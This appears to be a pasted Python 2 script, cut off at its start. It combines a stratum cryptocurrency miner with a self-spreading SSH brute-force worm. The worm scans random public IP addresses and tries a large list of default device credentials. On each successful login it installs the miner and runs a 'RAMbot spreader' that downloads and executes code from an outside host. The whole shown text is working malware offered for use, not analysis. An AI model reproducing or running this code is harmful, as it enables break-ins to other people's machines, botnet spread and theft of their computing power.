  816. parser = argparse.ArgumentParser(description = "CPU-Miner for Cryptocurrency using the stratum protocol")
  817.  
  818. parser.add_argument('-o', '--url', help = 'stratum mining server url (eg: stratum+tcp://foobar.com:3333)')
  819. parser.add_argument('-u', '--user', dest = 'username', default = '', help = 'username for mining server', metavar = "USERNAME")
  820. parser.add_argument('-p', '--pass', dest = 'password', default = '', help = 'password for mining server', metavar = "PASSWORD")
  821.  
  822. parser.add_argument('-O', '--userpass', help = 'username:password pair for mining server', metavar = "USERNAME:PASSWORD")
  823.  
  824. parser.add_argument('-a', '--algo', default = ALGORITHM_SCRYPT, choices = ALGORITHMS, help = 'hashing algorithm to use for proof of work')
  825.  
  826. parser.add_argument('-B', '--background', action ='store_true', help = 'run in the background as a daemon')
  827.  
  828. parser.add_argument('-q', '--quiet', action ='store_true', help = 'suppress non-errors')
  829. parser.add_argument('-P', '--dump-protocol', dest = 'protocol', action ='store_true', help = 'show all JSON-RPC chatter')
  830. parser.add_argument('-d', '--debug', action ='store_true', help = 'show extra debug information')
  831.  
  832. parser.add_argument('-v', '--version', action = 'version', version = '%s/%s' % (USER_AGENT, '.'.join(str(v) for v in VERSION)))
  833.  
  834. options = parser.parse_args(sys.argv[1:])
  835.  
  836. message = None
  837.  
  838. # Get the username/password
  839. username = options.username
  840. password = options.password
  841.  
  842. if options.userpass:
  843. if username or password:
  844. message = 'May not use -O/-userpass in conjunction with -u/--user or -p/--pass'
  845. else:
  846. try:
  847. (username, password) = options.userpass.split(':')
  848. except Exception, e:
  849. message = 'Could not parse username:password for -O/--userpass'
  850.  
  851. # Was there an issue? Show the help screen and exit.
  852. if message:
  853. #parser.print_help()
  854. ##print
  855. #print message
  856. sys.exit(1)
  857.  
  858. # Set the logging level
  859. if options.debug:DEBUG = True
  860. if options.protocol: DEBUG_PROTOCOL = True
  861. if options.quiet: QUIET = True
  862.  
  863. if DEBUG:
  864. for library in SCRYPT_LIBRARIES:
  865. set_scrypt_library(library)
  866. test_subscription()
  867.  
  868. # Set us to a faster library if available
  869. set_scrypt_library()
  870. if options.algo == ALGORITHM_SCRYPT:
  871. log('Using scrypt library %r' % SCRYPT_LIBRARY, LEVEL_DEBUG)
  872.  
  873. # The want a daemon, give them a daemon
  874. if options.background:
  875. import os
  876. if os.fork() or os.fork(): sys.exit()
  877.  
  878. # Heigh-ho, heigh-ho, it's off to work we go...
  879. if options.url:
  880. miner = Miner(options.url, username, password, algorithm = options.algo)
  881. miner.serve_forever()
  882.  
  883. # Check For Paramiko Dependency
  884. try:
  885. from paramiko import SSHClient
  886. from paramiko import AutoAddPolicy
  887. except ImportError:
  888. print('Missing Paramiko Dependency.')
  889. sys.exit(0)
  890.  
  891. class SSHBruteForce():
  892. def __init__(self):
  893. self.info = "Simple SSH Brute Forcer"
  894. self.targetIp = self.create_random_ip()
  895. self.targetPort = '22'
  896. self.targets = []
  897. self.usernames = ["root", "admin", "user", "login", "guest", "support", "netgear", "cisco", "ubnt", "telnet", "Administrator", "comcast", "default", "password", "D-Link", "manager", "pi", "VTech", "vagrant", ""]
  898. self.passwords = ["root", "admin", "user", "login", "guest", "support", "netgear", "cisco", "ubnt", "telnet", "Administrator", "comcast", "default", "password", "123456", "changeme", "1234", "D-Link", "manager", "pi", "raspberry", "alpine", "Alpine", "VTech", "vagrant, 123", "12345", "dreambox", "test", "letmein", "xc3511", "vizxv","888888","xmhdipc","default","juantech","123456","54321","support","password","root","user","admin1234","1111","smcadmin","1111","666666","password","1234","klv123","admin","service","supervisor","guest","12345","1234","666666","888888","ubnt","klv1234","Zte521","hi3518","jvbzd","anko","zlxx.","7ujMko0vizxv","7ujMko0admin","system","ikwb","dreambox","user","realtek","00000000","1111111","1234","12345","54321","123456","7ujMko0admin","1234","pass","meinsm","tech","fucker","admin","1234","user","12345","123456","Password","12345678","qwerty","asdfghjkl","12345","123456789","1234567890","incorrect","1234567","football","hacked","iloveyou","welcome","monkey","login","123123","123123123","dragon","passw0rd","abc123","starwars","whatever","asshole",""]
  899. self.connections = []
  900. self.amountOfThreads = 10
  901. self.currentThreadCount = 0
  902. self.timeoutTime = 10
  903. self.outputFileName = None
  904. self.singleMode = True
  905. self.verbose = True
  906. self.bruteForceLength = 0
  907. self.bruteForceAttempts = 0
  908. self.bruteForceMode = False
  909. self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  910. self.attackType = "dictionary"
  911.  
  912. def startUp(self):
  913. self.singleTarget()
  914.  
  915. def create_random_ip(self):
  916. self.ipState = [0,0,0,0]
  917. self.ipState[0] = random.randint(0,255)
  918. self.ipState[1] = random.randint(0,255)
  919. self.ipState[2] = random.randint(0,255)
  920. self.ipState[3] = random.randint(0,255)
  921. while((self.ipState[1] == 0) or (self.ipState[1] == 10) or (self.ipState[1] == 100 and (self.ipState[2] >= 64 and self.ipState[2] <= 127)) or (self.ipState[1] == 127) or (self.ipState[1] == 169 and self.ipState[2] == 254) or (self.ipState[1] == 172 and (self.ipState[2] <= 16 and self.ipState[2] <= 31)) or (self.ipState[1] == 192 and self.ipState[2] == 0 and self.ipState[3] == 2) or (self.ipState[1] == 192 and self.ipState[2] == 88 and self.ipState[3] == 99) or (self.ipState[1] == 192 and self.ipState[2] == 168) or (self.ipState[1] == 198 and (self.ipState[2] == 18 or self.ipState[2] == 19)) or (self.ipState[1] == 198 and self.ipState[2] == 51 and self.ipState[3] == 100) or (self.ipState[1] == 203 and self.ipState[2] == 0 and self.ipState[3] == 113) or (self.ipState[1] >= 224)):
  922. self.ipState[0] = random.randint(0,255)
  923. self.ipState[1] = random.randint(0,255)
  924. self.ipState[2] = random.randint(0,255)
  925. self.ipState[3] = random.randint(0,255)
  926. return "{}.{}.{}.{}".format(self.ipState[0],self.ipState[1],self.ipState[2],self.ipState[3])
  927.  
  928. def singleTarget(self):
  929. self.dictionaryAttackSingle()
  930.  
  931. @staticmethod
  932. def __seperateDataFromComboList(comboListFile):
  933. usernames = []
  934. passwords = []
  935. for t in fileContentsToTuple(comboListFile):
  936. usernames.append(t[0])
  937. passwords.append(t[1])
  938. return usernames, passwords
  939.  
  940. def showStartInfo(self):
  941. #print("[*] {} ".format(self.info))
  942. if self.singleMode:
  943. print("[*] Testing {}".format(self.targetIp))
  944. else:
  945. print("[*] Loaded {} Targets ".format(str(len(self.targets))))
  946.  
  947.  
  948. if self.outputFileName is not None:
  949. appendLineToFile("{} ".format(self.info, self.outputFileName))
  950. if self.singleMode:
  951. appendLineToFile("Brute Forcing {} ".format(self.targetIp, self.outputFileName))
  952. else:
  953. appendLineToFile("Loaded {} Targets ".format(str(len(self.targets)), self.outputFileName))
  954. appendLineToFile("Loaded {} Usernames ".format(str(len(self.usernames)), self.outputFileName))
  955. appendLineToFile("Loaded {} Passwords ".format(str(len(self.passwords)), self.outputFileName))
  956. appendLineToFile("Brute Force Starting ", self.outputFileName)
  957.  
  958. def dictionaryAttackSingle(self):
  959. coin_toss = random.randint(0,1)
  960. if(coin_toss):
  961. for username in self.usernames:
  962. for password in self.passwords:
  963. self.createConnection(username, password, self.targetIp, self.targetPort, self.timeoutTime)
  964. if self.currentThreadCount == self.amountOfThreads:
  965. self.currentThreadResults()
  966. self.currentThreadResults()
  967. else:
  968. for username in self.usernames:
  969. for password in self.passwords:
  970. self.targetIp = self.create_random_ip()
  971. self.createConnection(username, password, self.targetIp, self.targetPort, self.timeoutTime)
  972. if self.currentThreadCount == self.amountOfThreads:
  973. self.currentThreadResults()
  974. self.currentThreadResults()
  975.  
  976. def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  977. connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  978. connection.start()
  979.  
  980. self.connections.append(connection)
  981. self.currentThreadCount += 1
  982. if self.verbose:
  983. print("[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}".format(targetIp,
  984. username,
  985. password))
  986.  
  987. def currentThreadResults(self):
  988. for connection in self.connections:
  989. connection.join()
  990.  
  991. if connection.status == 'Succeeded':
  992. #print("[#] TargetIp: {} ".format(connection.targetIp))
  993. #print("[#] Username: {} ".format(connection.username))
  994. #print("[#] Password: {} ".format(connection.password))
  995. print("[X] TargetIp: {} Username: {} Password: {}".format(connection.targetIp, connection.username, connection.password))
  996.  
  997. if self.singleMode:
  998. self.completed()
  999. else:
  1000. pass
  1001.  
  1002. self.clearOldThreads()
  1003.  
  1004. def clearOldThreads(self):
  1005. self.connections = []
  1006. self.threadCount = 0
  1007.  
  1008. def completed(self):
  1009. #print("[*] Completed Brute Force.")
  1010. sys.exit(0)
  1011.  
  1012. def appendLineToFile(line, filename):
  1013. fileHandler = open(filename, "a+")
  1014. fileHandler.write(line + "\n")
  1015. fileHandler.close()
  1016.  
  1017. def spread_files(SSH):
  1018. # Miner
  1019. try:
  1020. SSH.exec_command(reaper)
  1021. except:
  1022. temp = 0
  1023. SSH.exec_command("pip install paramiko")
  1024. sleep(15)
  1025. SSH.exec_command("pip install threading")
  1026. sleep(15)
  1027. SSH.exe_command("pip install argparse")
  1028. sleep(15)
  1029. SSH.exe_command("pip install urllib2")
  1030. sleep(15)
  1031. # RAMbot spreader
  1032. try:
  1033. SSH.exec_command('python -c "import urllib2; exec urllib2.urlopen({})"'.format('http://iamkira.mooo.com'))
  1034. except:
  1035. temp = 0
  1036. class Connection(Thread):
  1037. '''
  1038. This is the class that checks if a specific
  1039. Username and password combination was successful.
  1040. '''
  1041.  
  1042. def __init__(self, username, password, targetIp, portNumber, timeoutTime):
  1043.  
  1044. super(Connection, self).__init__()
  1045.  
  1046. self.username = username
  1047. self.password = password
  1048. self.targetIp = targetIp
  1049. self.portNumber = portNumber
  1050. self.timeoutTime = timeoutTime
  1051. self.status = ""
  1052.  
  1053. def run(self):
  1054.  
  1055. sshConnection = SSHClient()
  1056. sshConnection.set_missing_host_key_policy(AutoAddPolicy())
  1057.  
  1058. try:
  1059. sshConnection.connect(self.targetIp, port=int(self.portNumber),
  1060. username=self.username, password=self.password,
  1061. timeout=int(self.timeoutTime), allow_agent=False, look_for_keys=False)
  1062.  
  1063. self.status = 'Succeeded'
  1064. spread_files(sshConnection)
  1065. sshConnection.close()
  1066. except:
  1067. self.status = 'Failed'
  1068.  
  1069. if __name__ == '__main__':
  1070. while(1):
  1071. sshBruteForce = SSHBruteForce()
  1072. sshBruteForce.startUp()
Add Comment
Please, Sign In to add comment